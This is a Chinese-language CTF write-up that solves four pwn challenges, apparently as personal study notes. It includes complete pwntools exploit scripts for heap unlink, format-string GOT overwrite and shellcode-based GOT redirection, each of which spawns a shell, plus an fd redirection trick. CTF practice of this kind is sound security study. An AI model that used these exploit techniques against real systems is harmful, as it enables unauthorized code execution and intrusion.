wustctf2020_closed
close()这个函数的作用是什么,发现是1是正常输出,2是错误输出,之后返回的是shell,那么我们直接进行重定向进行输出,输入exec 1>&0然后就能获得shell
hitcontraining_magicheap
checksec一下
开始审计代码
菜单:
1.申请堆块,输入堆块大小,并填充内容,并把申请的堆块指针放到bss里了
2.编辑堆块,根据bss段里的指针,来找到相应的堆块,然后输入大小,再填充内容,并未检测原本输入堆块内容的大小,那么此处存在堆溢出。
3.释放堆块,指针置零了,所以不存在uaf
和之前做过的一个题目很像,这个题目还有后门函数,所以
这个题可以和上个题目一样,用unlink修改free的got地址为system的plt地址
或者选择走后门函数,把bss段内的magic的值修改为比0x1305大的数就行
脚本如下:
from pwn import *
context(log_level='debug',os='linux',arch='i386')
#p=process("./pwn25")
elf=ELF("./pwn25")
p=remote("node4.buuoj.cn",25810)
bss=0x6020A0
heaparray_addr=0x6020C0
def bug():
gdb.attach(p)
pause()
def add(size,c):
p.recvuntil("Your choice :")
p.sendline(str(1))
p.sendlineafter(b"Size of Heap : ",str(size))
p.sendafter(b"Content of heap:",c)
def edit(i,size,c):
p.recvuntil("Your choice :")
p.sendline(str(2))
p.sendlineafter(b"Index :",str(i))
p.sendlineafter(b"Size of Heap : ",str(size))
p.sendafter(b"Content of heap : ",c)
def free(i):
p.recvuntil("Your choice :")
p.sendline(str(3))
p.sendlineafter(b"Index :",str(i))
add(0x90,b'a'*8)
add(0x90,b'a'*8)
add(0x20,b'/bin/sh\x00')
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
free(1)
#走后门
'''
edit(0,0x20,p64(bss)*4)
edit(0,0x8,p64(0x1305+1))
'''
#修改got表
edit(0,0x20,p64(elf.got['free'])*4)
edit(0,0x8,p64(elf.plt['system']))
free(2)
p.interactive()
axb_2019_fmt32
checksec 一下
看一下程序逻辑
程序有alarm闹钟函数,并且有明显的格式化字符串漏洞,而且能无限利用格式化字符串漏洞,本来想用我之前的那种解法直接解决的,但是遇到了些问题(下面说),而且这个题目got表可写,所以还是老老实实打got表吧
程序中没有system函数,所以先泄露libc_base然后得到system函数地址
再把strlen的got表改成system函数地址,思路清晰,ok开搞
发现4个A分开了,所以可以在最开始选择填充一个(新学到的方法)如下图:
这下四个A在一块了,数一下,偏移为8
第一次泄露libc
p.recvuntil("Please tell me:")
pay=b'%151$p%2$p'
#bug()
p.send(pay)
p.recvuntil("Repeater:")
libc_base=int(p.recv(10),16)-245-libc.sym['__libc_start_main']
print(hex(libc_base))
system=libc_base+libc.sym['system']
第二次把strlen的got表改成system地址
p.recvuntil("Please tell me:")
pay=b'a'+fmtstr_payload(8,{
elf.got['strlen']:system},write_size='short',numbwritten=0xa)
#bug()
p.send(pay)
这里有个 numbwritten=0xa 表示已经输出的字符个数,第一次学习的时候学习了这个东西,但是好久没用过就给忘了,所以记录一下
如果不加这个参数,程序会报错(卡了好久,才发现的问题)
这里用一下本地的libc吧,远程libc不同,而且泄露的libc_start_main+x也不一样,这里就不再看远程的了
脚本如下:
from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#p=remote("node4.buuoj.cn",29714)
p=process("./pwn26")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn26")
def bug():
gdb.attach(p)
pause()
p.recvuntil("Please tell me:")
pay=b'%151$p%2$p'
#bug()
p.send(pay)
p.recvuntil("Repeater:")
libc_base=int(p.recv(10),16)-245-libc.sym['__libc_start_main']
print(hex(libc_base))
stack=int(p.recv(10),16)-35
print(hex(stack))
system=libc_base+libc.sym['system']
p.recvuntil("Please tell me:")
pay=b'a'+fmtstr_payload(8,{
elf.got['strlen']:system},write_size='short',numbwritten=0xa)
#bug()
p.send(pay)
pause() #防止两次输入压到一块输入
p.sendline(b';/bin/sh\x00')#这里由于输入的内容会被加入其他字符,所以要有 ; 隔开,这样才能getshell
p.interactive()
这里总结一下自己的遇到的问题:
1.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)的参数 numbwritten=0的含义,以及用处
2.在偏移不在一个栈地址中,可以填充字符,方便找到参数偏移(上文中填充的b)
3.在/bin/sh前面有字符干扰的时候,可以选择用 ; 号分开
bugku awd s2 -17
这个题目一直把心思放到后面堆上边了
然后直到训练赛快结束的前几分钟才解出来这个题目
到这里就能完整利用漏洞getshell了,但是我前面一直在想后面的代码
这里先说正确思路吧
通过v2读入shellcode并且泄露出stack地址找到偏移得出shellcode的地址
再通过读入,覆盖dest的指针为free的got表地址,然后strcpy将free的got表地址的地址覆盖为shllcode的地址
再通过后面的free,getshell
脚本如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",26715)
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
free_got=elf.got['free']
def bug():
gdb.attach(p)
pause()
def add(i,con):
p.recvuntil("your choice :")
p.sendline(str(1))
p.sendlineafter("how long?",str(i))
p.sendline("give me more money : ",con)
def free():
p.recvuntil("your choice :")
p.sendline(str(2))
p.recvuntil("who are u?\n")
pay=(asm(shellcraft.sh())).ljust(0x30,b'\x90')
p.send(pay)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x50
print(hex(stack))
p.recvuntil("give me your id ~~?\n")
p.sendline(b'1')
p.recvuntil("give me money~\n")
pay=p64(stack)+b'\x00'*8+p64(free_got)*6 #通过\x00绕过strcpy
bug()
p.send(pay)
free()
p.interactive()
然后再说一下我被误导的地方吧
让nbytes=-1,就能无限读入,造成堆溢出了,但是我忽略了一点,malloc(nbytes),这里是不能为-1的(当时没注意)
然后就一直在想如何让这个函数返回值为-1
这里是被过滤完了(应该是被过滤完了,哪位佬发现能绕过,可以指点我一下)
这次的awd训练赛让我学到了,要仔细审计代码,不能漏过任何一个漏洞点。